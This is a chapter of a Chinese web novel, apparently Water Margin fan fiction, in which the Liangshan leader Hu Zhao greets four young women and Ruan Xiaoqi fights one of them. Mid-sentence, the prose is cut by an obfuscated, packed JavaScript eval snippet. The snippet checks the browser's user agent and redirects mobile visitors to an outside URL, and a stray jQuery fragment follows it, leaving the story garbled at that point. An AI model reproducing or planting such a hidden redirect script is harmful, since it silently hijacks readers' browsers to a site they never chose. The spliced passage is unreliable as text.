齐瑞叹气:“唉,四位实在来得太过不巧,昨日清早,梁头领才启程去了别处。”
少年不信,斜眼道:“你这大哥,看着实诚可亲,怎么哄人顽?他好端端的又不知道我来找他,跑掉做甚么?”
“呃……梁头领自是有他任务在身,其中细情,恕小人也无法晓得。”他是真的不知道那一帮子干甚去了。
少年有些信了,收回青钢剑抱在怀里,闷闷不乐地立在柜台前一动不动。
齐瑞知她是梁头领的妹子,见眉眼果然也与梁翼有七八分相像处,早相信了其口中之言。见此,就亲自招待着这四人上二楼单间坐了。
“说起来,梁头领还是小人的救命恩人,当日我曾教人肉作坊差点做了馒头馅,正是他宛若天神降临,踢门进来亲手斩了那贼,救下我来,才有我之今日呢。”
齐瑞忍不住回忆过往,又安慰这梁头领妹子道,“莫急,我先送信上山与寨主,四位若不嫌,今日便在小店歇下,若依旧想上山参观,我明早便着人送你们上去。”
其实现下他就可以做主安排几人上山,如今想上梁山的人多了,当然不用事事请示上边头领,他们四家掌柜自有其验证之道。
只是天色已晚,又是一伙儿小姑娘们,到底奔波辛苦,晚间梁山上的住处也不如酒店这里好安排。
再细细解释了下,四个少年倒也理解。还没住过酒店的人呢,非常乐意住上一晚新鲜新鲜。
四人围坐一桌放开了肚肠吃,其中一个边吃炒兔边问齐瑞道:“掌柜的,那这梁山之上,可有一个姓史名进,一个名字唤作上张下英的?”
齐瑞默了一下,张英……那不是寨主对外的假名吗?当时扫黑除恶,寨主一路上就用的这个,到了后来,他才知道其真名乃扈昭。
至于史头领……
“更是不巧,史头领亦和梁头领一路走了。”
“那家伙,不是说不是匪徒一路么?怎么还真上了梁山,还做了头领。”那快嘴的嘟哝。
齐瑞腹诽:听这意思,还是史头领老熟人呢,他做了土匪你们都想不到,若让你们知道张英身份,岂不是更加惊愕?
正暗暗好笑间,就见四人中长相最普通、年龄看着最大的姑娘道:“依掌柜话外之音,张侠士也在此寨,正在此山?”
齐瑞实话道:“嗯,他确实留守山上,并未离开。”故意没说明白。
那姑娘闻说,马上兴奋起来,笑着招呼其他三人:“我们星夜上山罢,下来再住酒店不迟,来都来了,岂不一鼓作气?”
梁翼妹妹也道:“正有此意。”
两个侍女模样的自无置喙的余地,跟着站起来,胡乱嘴里塞了一气,当下就要走。
齐瑞陈恳劝了劝,见她们心意不改,无之奈何,只好应允。又托几人带了自己手信,备说白胜送酒一事。
孙福将四个女娃送到断金亭附近时,山上不睡觉的“王二小”们早报讯到扈昭办公处去了:“来了四个青春大胆的姐姐,一个说是梁头领的兄弟。”
扈昭正挑灯默书,听闻梁翼竟还有个妹妹,很是大吃一惊,问阮良道:“可说了名姓?”
阮良摇头又点头:“三个并口无言,最大那人卖关子道了句‘木石’甚么的,要见张英。”
扈昭心念电转,瞬间知道了“木石”乃陈小姐,一人是她那侍女。这俩弱女子怎来的任侠胆子跑来贼窝?梁翼之妹,又如何和她俩个走到一块儿?
怀着几层疑问整衣出去迎了,因有些上山新人还不知寨主是谁,她有心让人尽皆知,一路也带了王伦、朱贵两位山上老人招摇过寨。
实是山上其他头领个个忙得脚不沾地,夜不归山,只这两个看着现在反而有些悠哉。
此次刚回来一天扈昭便发现了,王伦对她态度友善得过分。也不再动辄呛声,也不阴阳怪气,心态仿佛平和了几分。
连身上所着衣物都新鲜多变起来,不像个白衣秀士,倒似个彩衣居士了。直让人觉得他摆脱了寨主之位后,反而无事一身轻的逍遥洒脱。
而陈心非和自己的小梅香看到梁山寨主亲迎她们,寨主又是张英时,俱是瞠目结舌,竟一时失语。
待扈昭走得近了,侍女安禾才反应过来,拉着旁边另个会武的丫头青锋,又是惊怕又是激动嚷道:“他……他就是那位会飞檐走壁的大侠!谁想,竟、竟是梁山泊主!”
而陈心非,则双眼直勾勾地盯着扈昭身姿清挺、行如竹风地走来。
哇!好一个年轻厉害侠气翩然的侠士领袖,果非常人哉!
她果然还是慧眼识英雄啊!
赞叹!
见这一对主仆如此模样,青锋和自家小姐皆觉目不忍视,齐齐抱剑望向来人,齐齐一眯眼:呵,不过如此,区区瘦书生!
但既然能做一寨之主,又把哥哥梁翼勾得家也不回,官也不做,想必是个有能耐有手段心机不凡的书生。
不可小觑!
即便大义灭兄长,恐怕到时也是剿匪困难!
书生扈昭走近驻步,先向熟悉的陈心非主仆二人问好:“久别重逢,二位辛苦。”
陈心非见“张英”记得自己,正惊喜要跑过去,谁知扈昭话锋一转,“只是你俩个偷跑出来,行路至此,又无武艺傍身,尊翁此时不知如何担心?”
陈心非闻言当即垂首扁嘴,脚在地上踢拉:“我在书房留信了。”
东平府今年冬末换文,明年春初新太守便会到任。这时候再不出来,等得和父亲调任他方,恐怕她此生再难见到当初奇遇的那二人了。
人之碌碌一生,总要有段难忘冒险的回忆。
况且,她俩个也不算冲动行事。其实主要还是做好事陪人寻亲呢,至于故人果真在此山上,当真是畅想中的意外之喜。
“这二位妹妹力气甚大,身手不凡,这一路上我们四个等着反劫恶贼呢,谁想竟一路无事,顺顺畅畅就到了这地方。”
“哪个身手不凡,和俺比比?”
陈心非话音甫落,身边就倏地冒出个高大不羁又野性的阮小七,闻言当即寻起目标来。
他刚从水泊上来,一身凉水还未干,看了一圈,待认准了人后,淋淋漓漓地就大跨步到了青锋面前,一手已要扳到其清瘦的肩膀上去。
“小七,恁的无礼,回来!”朱贵忙斥他,欲要阻止。
谁知阮小七反而来劲了,他下午队伍演练输给了张顺一方,被淹了个透彻。这时候上来想再和人赌斗一场出出汗,好显得自己也不是那般狼狈。
阮小七早先如此和石碣村里、梁山
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277631|194107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上兄弟鲁莽惯了,自不觉有什么。
青锋作为小姐的贴身侍女,却不惯与陌生男子这般亲近,身子一矮,已从他臂下滑开,反手一剑便向他肋下劈去。
“欸?”阮小七险险侧身避过,怪道,“你这小兄弟,我空手和你切磋,你怎上来就出要命的招儿!”
青锋柳眉倒竖,并不罢手,也不与他多话,默然无语,持剑继续当他胸刺去。
阮小二见此,反起了更多兴致。也忘了自己身上湿漉漉的,双拳一错,便与青锋斗在一处。
一个是浪里来去的水中蛟,一个是府里练出来的贴身婢,两人你来我往,你闪我躲,竟打得一时难分难解。
朱贵在一旁急得跺脚:“小七!小七!快住手!”
阮小七哪里肯听?他越打越兴奋,嘴里还嚷嚷着:“这小兄弟却不罢手!来来来,再试试俺这招!”
青锋也不示弱,更不弃剑,招招紧逼。她自小跟着都监学的便是保护小姐的真功夫,见了恶人登徒子,便是剑不留情断子绝孙。
梁红玉在一旁拍手叫好:“姐姐!狠狠刺这厮!”
陈心非却有些担心,仗着老熟人的身份,终于大着胆子过去扯扈昭的袖子道:“大侠,这……”
扈昭意识到不对,阮小七此时好像个昏沉无脑的二愣子,正要上前隔开。
便在这时,阮小七忽然卖个破绽,青锋不知是计,抢步上前,被他轻轻一带,身子不由自主地向前冲去。阮小七顺手一捞,揽住她的腰,得意洋洋道:“小兄弟,拿着利刃也输了罢?”
青锋又羞又怒,挣扎着要杀了他,却被他箍得动弹不得。
众人看得目瞪口呆,扈昭也口呆目瞪:这、这真没看出来么?
打算过去一脚将这熊七踢飞,有人比他更快!
朱贵箭步冲上去,一把扯开阮小七,揪他耳朵劈头盖脸骂道:“你这浑人!跟人家小姑娘动手动脚,像什么样子!”
阮小七一愣:“小姑娘?什么小姑娘?”
他回头看向青锋,只见她涨红了脸,咬牙狠狠瞪向自己。
正要再仔细一看,那姑娘已一剑拍向自己脑门。
半晕未晕之际,阮小七只转着一个念头:还好这女侠手下留情,没用剑刃拍他,不然就没脸皮了。
好像……真的没脸皮了。
唉,他干脆果断直接装晕倒地不起了。
朱贵见此,赶紧吩咐两个喽啰过来:“这厮醉了,速速抬回去帮他醒醒酒。”
喽啰们脸色精彩,却个个将嘴抿得死紧,半拖着阮小七一溜烟走了。
刚转一个弯,阮小七鹞子翻身“醒转过来”,正要回头偷偷一望。
便见那姑娘狠狠向他的方向啐了一口:“大不修!”
阮小七登时委屈起来:他又不是故意的!谁知道穿成汉子模样的也会是女孩。
即便有,也不见一连四个女子扮汉子敢闯梁山的……
孤独难过地撇下那两个喽啰,寂寂无声地又走几十米,迎面撞上寻扈昭而来的武松。
武松见他大不比以前意气风发,当然发挥战友情谊,关怀一番这粗豪直率的小兄弟:“小七兄弟,怎生这般模样?”
阮小七哀叹:“武二哥,招子不亮,识人不清啊!”